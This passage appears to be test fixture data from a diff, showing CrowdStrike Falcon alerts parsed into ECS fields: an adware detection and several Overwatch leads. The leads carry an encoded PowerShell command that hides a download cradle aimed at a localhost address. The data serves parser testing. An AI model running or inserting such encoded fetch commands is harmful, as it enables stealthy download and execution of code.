"platform": "Windows", + "poly_id": "AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==", + "process_end_time": "2023-11-03T18:00:21.000Z", + "process_id": "399748687993", + "process_start_time": "2023-11-03T18:00:13.000Z", + "product": "epp", + "quarantined_files": [ + { + "filename": "\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "id": "2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "state": "quarantined" + } + ], + "scenario": "NGAV", + "severity": 30, + "severity_name": "low", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "show_in_ui": true, + "source_products": [ + "FalconInsight" + ], + "source_vendors": [ + "CrowdStrike" + ], + "status": "new", + "tactic": "MachineLearning", + "tactic_id": "CSTA0004", + "technique": "Adware/PUP", + "technique_id": "CST0000", + "timestamp": "2023-11-03T18:00:22.328Z", + "tree_id": "1931778", + "tree_root": "38687993", + "triggering_process_graph_id": "pid:2ce4124ad4adc8c1c54dbfec4b:399748687993", + "type": "ldt", + "updated_timestamp": "2023-11-03T19:00:23.985Z", + "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_name": "mohit.jha" + } + }, + "device": { + "id": "2ce412d17b334ad4adc8c1c54dbfec4b", + "manufacturer": "LENOVO", + "model": { + "name": "20VE" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "category": [ + "process" + ], + "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "kind": "alert", + "original": "{\"agent_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"aggregate_id\":\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"alleged_filetype\":\"exe\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"cloud_indicator\":\"false\",\"cmdline\":\"\\\"C:\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\\\"\",\"composite_id\":\"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"confidence\":10,\"context_timestamp\":\"2023-11-03T18:00:31Z\",\"control_graph_id\":\"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778\",\"crawl_edge_ids\":{\"Sensor\":[\"KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\\\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N\",\"KZcZA__;?\\\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\\\"__\\\"59K'R?_=`'`rK/'hA\\\"r+L5i-*Ut5PI!!*'!\",\"N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\\\"%MDAR=fo41Z]rXc\\\"J-\\\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr\",\"N6CUF__;K!d$:\\\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\\\"X'\\\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\\\"<_/?I'[##WMh'H[Rcl+!!<<'\",\"N6L[G__;K!d\\\"qhT7k?[D\\\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\\\"d.&=To@9kS!prs8N\"]},\"crawl_vertex_ids\":{\"Sensor\":[\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993\",\"quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\"]},\"crawled_timestamp\":\"2023-11-03T19:00:23.985020992Z\",\"created_timestamp\":\"2023-11-03T18:01:23.995794943Z\",\"data_domains\":[\"Endpoint\"],\"description\":\"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.\",\"device\":{\"agent_load_flags\":\"0\",\"agent_local_time\":\"2023-10-12T03:45:57.753Z\",\"agent_version\":\"7.04.17605.0\",\"bios_manufacturer\":\"ABC\",\"bios_version\":\"F8CN42WW(V2.05)\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"config_id_base\":\"65994763\",\"config_id_build\":\"17605\",\"config_id_platform\":\"3\",\"device_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"external_ip\":\"81.2.69.142\",\"first_seen\":\"2023-04-07T09:36:36Z\",\"groups\":[\"18704e21288243b58e4c76266d38caaf\"],\"hostinfo\":{\"active_directory_dn_display\":[\"WinComputers\",\"WinComputers\\\\ABC\"],\"domain\":\"ABC.LOCAL\"},\"hostname\":\"ABC709-1175\",\"last_seen\":\"2023-11-03T17:51:42Z\",\"local_ip\":\"81.2.69.142\",\"mac_address\":\"ab-21-48-61-05-b2\",\"machine_domain\":\"ABC.LOCAL\",\"major_version\":\"10\",\"minor_version\":\"0\",\"modified_timestamp\":\"2023-11-03T17:53:43Z\",\"os_version\":\"Windows11\",\"ou\":[\"ABC\",\"WinComputers\"],\"platform_id\":\"0\",\"platform_name\":\"Windows\",\"pod_labels\":null,\"product_type\":\"1\",\"product_type_desc\":\"Workstation\",\"site_name\":\"Default-First-Site-Name\",\"status\":\"normal\",\"system_manufacturer\":\"LENOVO\",\"system_product_name\":\"20VE\"},\"falcon_host_link\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"filename\":\"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"grandparent_details\":{\"cmdline\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"filename\":\"userinit.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\userinit.exe\",\"local_process_id\":\"4328\",\"md5\":\"b07f77fd3f9828b2c9d61f8a36609741\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135\",\"process_id\":\"392734873135\",\"sha256\":\"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"timestamp\":\"2023-10-30T16:49:19Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"yuvraj.mahajan\"},\"id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"indicator_id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"ioc_context\":[{\"ioc_description\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"ioc_source\":\"library_load\",\"ioc_type\":\"hash_sha256\",\"ioc_value\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"type\":\"module\"}],\"local_process_id\":\"17076\",\"logon_domain\":\"ABSYS\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"name\":\"PrewittPupAdwareSensorDetect-Lowest\",\"objective\":\"FalconDetectionMethod\",\"parent_details\":{\"cmdline\":\"C:\\\\WINDOWS\\\\Explorer.EXE\",\"filename\":\"explorer.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\explorer.exe\",\"local_process_id\":\"1040\",\"md5\":\"8cc3fcdd7d52d2d5221303c213e044ae\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"process_id\":\"392736520876\",\"sha256\":\"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"timestamp\":\"2023-11-03T18:00:32Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"},\"parent_process_id\":\"392736520876\",\"pattern_disposition\":2176,\"pattern_disposition_description\":\"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.\",\"pattern_disposition_details\":{\"blocking_unsupported_or_disabled\":false,\"bootup_safeguard_enabled\":false,\"critical_process_disabled\":false,\"detect\":false,\"fs_operation_blocked\":false,\"handle_operation_downgraded\":false,\"inddet_mask\":false,\"indicator\":false,\"kill_action_failed\":false,\"kill_parent\":false,\"kill_process\":false,\"kill_subprocess\":false,\"operation_blocked\":false,\"policy_disabled\":false,\"process_blocked\":true,\"quarantine_file\":true,\"quarantine_machine\":false,\"registry_operation_blocked\":false,\"rooting\":false,\"sensor_only\":false,\"suspend_parent\":false,\"suspend_process\":false},\"pattern_id\":5761,\"platform\":\"Windows\",\"poly_id\":\"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==\",\"process_end_time\":\"1699034421\",\"process_id\":\"399748687993\",\"process_start_time\":\"1699034413\",\"product\":\"epp\",\"quarantined_files\":[{\"filename\":\"\\\\Device\\\\Volume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"id\":\"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"state\":\"quarantined\"}],\"scenario\":\"NGAV\",\"severity\":30,\"sha1\":\"0000000000000000000000000000000000000000\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"show_in_ui\":true,\"source_products\":[\"FalconInsight\"],\"source_vendors\":[\"CrowdStrike\"],\"status\":\"new\",\"tactic\":\"MachineLearning\",\"tactic_id\":\"CSTA0004\",\"technique\":\"Adware/PUP\",\"technique_id\":\"CST0000\",\"timestamp\":\"2023-11-03T18:00:22.328Z\",\"tree_id\":\"1931778\",\"tree_root\":\"38687993\",\"triggering_process_graph_id\":\"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993\",\"type\":\"ldt\",\"updated_timestamp\":\"2023-11-03T19:00:23.985007341Z\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"}", + "severity": 21, + "type": [ + "start" + ] + }, + "file": { + "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "path": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe" + }, + "host": { + "domain": "ABC.LOCAL", + "hostname": "ABC709-1175", + "id": "2ce412d17b334ad4adc8c1c54dbfec4b", + "ip": [ + "81.2.69.142" + ], + "mac": [ + "AB-21-48-61-05-B2" + ], + "os": { + "full": "Windows11", + "platform": "Windows", + "type": "windows" + } + }, + "message": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.", + "process": { + "end": "2023-11-03T18:00:21.000Z", + "entity_id": "399748687993", + "executable": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "hash": { + "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd" + }, + "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "parent": { + "command_line": "C:\\WINDOWS\\Explorer.EXE", + "entity_id": "392736520876", + "executable": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe", + "hash": { + "md5": "8cc3fcdd7d52d2d5221303c213e044ae", + "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4" + }, + "name": "explorer.exe", + "pid": 392736520876 + }, + "pid": 399748687993, + "start": "2023-11-03T18:00:13.000Z", + "user": { + "id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "name": "mohit.jha" + } + }, + "related": { + "hash": [ + "b07f77fd3f9828b2c9d61f8a36609741", + "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", + "cdf9cfebb400ce89d5b6032bfcdc693b", + "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "8cc3fcdd7d52d2d5221303c213e044ae", + "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", + "0000000000000000000000000000000000000000" + ], + "hosts": [ + "ABC.LOCAL", + "ABC709-1175" + ], + "ip": [ + "81.2.69.142" + ], + "user": [ + "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", + "S-1-5-21-1909377054-3469629671-4104191496-4425", + "yuvraj.mahajan", + "mohit.jha" + ] + }, + "tags": [ + "preserve_original_event", + "preserve_duplicate_custom_fields" + ], + "threat": { + "framework": "CrowdStrike Falcon Detections Framework", + "tactic": { + "id": [ + "CSTA0004" + ], + "name": [ + "MachineLearning" + ] + }, + "technique": { + "id": [ + "CST0000" + ], + "name": [ + "Adware/PUP" + ] + } + }, + "user": { + "id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "name": "mohit.jha" + } + }, + { + "@timestamp": "2024-11-07T20:47:22.000Z", + "crowdstrike": { + "alert": { + "agent_id": "abcd1234abcd1234abcd12", + "cid": "asdfasdfsadfasdfasdf", + "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA", + "composite_id": "b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3", + "crawled_timestamp": "2024-11-07T20:49:59.123Z", + "created_timestamp": "2024-11-07T20:49:59.123Z", + "detect_type": "endpoint", + "host_name": "SOMEHOST", + "host_type": "Server", + "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3", + "image_file_name": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", + "operating_system": "Windows", + "pattern_id": "97000", + "poly_id": "CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==", + "process_id": "123456789123", + "product": "overwatch", + "seconds_to_resolved": 0, + "seconds_to_triaged": 0, + "show_in_ui": true, + "status": "new", + "tags": [ + "ow/investigated", + "ow/resolution/benign" + ], + "timestamp": "2024-11-07T20:47:22.000Z", + "tree_id": "12345678901", + "type": "lead", + "updated_timestamp": "2024-11-07T20:49:59.123Z" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "category": [ + "process" + ], + "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3", + "kind": "alert", + "original": "{\"agent_id\":\"abcd1234abcd1234abcd12\",\"aggregate_id\":\"\",\"cid\":\"asdfasdfsadfasdfasdf\",\"command_line\":\"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA\",\"composite_id\":\"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"crawled_timestamp\":\"2024-11-07T20:49:59.12345678Z\",\"created_timestamp\":\"2024-11-07T20:49:59.123432101Z\",\"detect_type\":\"endpoint\",\"host_name\":\"SOMEHOST\",\"host_type\":\"Server\",\"id\":\"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"image_file_name\":\"\\\\Device\\\\HarddiskVolume1\\\\Windows\\\\SysWOW64\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"operating_system\":\"Windows\",\"pattern_id\":97000,\"poly_id\":\"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==\",\"process_id\":\"123456789123\",\"product\":\"overwatch\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"show_in_ui\":true,\"status\":\"new\",\"tags\":[\"ow/investigated\",\"ow/resolution/benign\"],\"timestamp\":\"2024-11-07T20:47:22Z\",\"tree_id\":\"12345678901\",\"type\":\"lead\",\"updated_timestamp\":\"2024-11-07T20:49:59.123432101Z\"}" + }, + "file": { + "path": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" + }, + "host": { + "id": "abcd1234abcd1234abcd12", + "name": "SOMEHOST", + "os": { + "name": "Windows", + "type": "windows" + }, + "type": "Server" + }, + "process": { + "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA", + "entity_id": "123456789123", + "pid": 123456789123 + }, + "related": { + "hosts": [ + "SOMEHOST" + ] + }, + "tags": [ + "preserve_original_event", + "preserve_duplicate_custom_fields", + "ow/investigated", + "ow/resolution/benign" + ] + }, + { + "@timestamp": "2024-11-07T20:47:22.000Z", + "crowdstrike": { + "alert": { + "agent_id": "abcd1234abcd1234abcd12", + "cid": "asdfasdfsadfasdfasdf", + "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA", + "composite_id": "b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3", + "crawled_timestamp": "2024-11-07T20:49:59.123Z", + "created_timestamp": "2024-11-07T20:49:59.123Z", + "detect_type": "endpoint", + "host_name": "SOMEHOST", + "host_type": "Server", + "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3", + "image_file_name": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", + "name": "OTHERUSER on OTHERHOST", + "operating_system": "Windows", + "pattern_id": "97000", + "poly_id": "CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==", + "process_id": "123456789123", + "product": "overwatch", + "seconds_to_resolved": 0, + "seconds_to_triaged": 0, + "show_in_ui": true, + "status": "new", + "tags": [ + "ow/investigated", + "ow/resolution/benign" + ], + "timestamp": "2024-11-07T20:47:22.000Z", + "tree_id": "12345678901", + "type": "lead", + "updated_timestamp": "2024-11-07T20:49:59.123Z" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "category": [ + "process" + ], + "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3", + "kind": "alert", + "original": "{\"name\":\"OTHERUSER on OTHERHOST\",\"agent_id\":\"abcd1234abcd1234abcd12\",\"aggregate_id\":\"\",\"cid\":\"asdfasdfsadfasdfasdf\",\"command_line\":\"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA\",\"composite_id\":\"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"crawled_timestamp\":\"2024-11-07T20:49:59.12345678Z\",\"created_timestamp\":\"2024-11-07T20:49:59.123432101Z\",\"detect_type\":\"endpoint\",\"host_name\":\"SOMEHOST\",\"host_type\":\"Server\",\"id\":\"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"image_file_name\":\"\\\\Device\\\\HarddiskVolume1\\\\Windows\\\\SysWOW64\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"operating_system\":\"Windows\",\"pattern_id\":97000,\"poly_id\":\"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==\",\"process_id\":\"123456789123\",\"product\":\"overwatch\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"show_in_ui\":true,\"status\":\"new\",\"tags\":[\"ow/investigated\",\"ow/resolution/benign\"],\"timestamp\":\"2024-11-07T20:47:22Z\",\"tree_id\":\"12345678901\",\"type\":\"lead\",\"updated_timestamp\":\"2024-11-07T20:49:59.123432101Z\"}" + }, + "file": { + "path": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" + }, + "host": { + "id": "abcd1234abcd1234abcd12", + "name": "SOMEHOST", + "os": { + "name": "Windows", + "type": "windows" + }, + "type": "Server" + }, + "process": { + "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA", + "entity_id": "123456789123", + "pid": 123456789123 + }, + "related": { + "hosts": [ + "SOMEHOST", + "OTHERHOST" + ], + "user": [ + "OTHERUSER" + ] + }, + "tags": [ + "preserve_original_event", + "preserve_duplicate_custom_fields", + "ow/investigated", + "ow/resolution/benign" + ], + "user": { + "name": "OTHERUSER" + } + }, + { + "@timestamp": "2024-11-07T20:47:22.000Z", + "crowdstrike": { + "alert": { + "agent_id": "abcd1234abcd1234abcd12", + "cid": "asdfasdfsadfasdfasdf", + "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA", + "composite_id": "b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3", + "crawled_timestamp": "2024-11-07T20:49:59.123Z", + "created_timestamp": "2024-11-07T20:49:59.123Z", + "detect_type": "endpoint", + "host_type": "Server", + "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3", + "image_file_name": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", + "name": "OTHERUSER on OTHERHOST", + "operating_system": "Windows", + "pattern_id": "97000", + "poly_id": "CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==", + "process_id": "123456789123", + "product": "overwatch", + "seconds_to_resolved": 0, + "seconds_to_triaged": 0, + "show_in_ui": true, + "status": "new", + "tags": [ + "ow/investigated", + "ow/resolution/benign" + ], + "timestamp": "2024-11-07T20:47:22.000Z", + "tree_id": "12345678901", + "type": "lead", + "updated_timestamp": "2024-11-07T20:49:59.123Z", + "user_name": "SOMEUSER" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "category": [ + "process" + ], + "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3", + "kind": "alert", + "original": "{\"name\":\"OTHERUSER on OTHERHOST\",\"agent_id\":\"abcd1234abcd1234abcd12\",\"aggregate_id\":\"\",\"cid\":\"asdfasdfsadfasdfasdf\",\"command_line\":\"powershell -nop -exec bypass -EncodedCommand 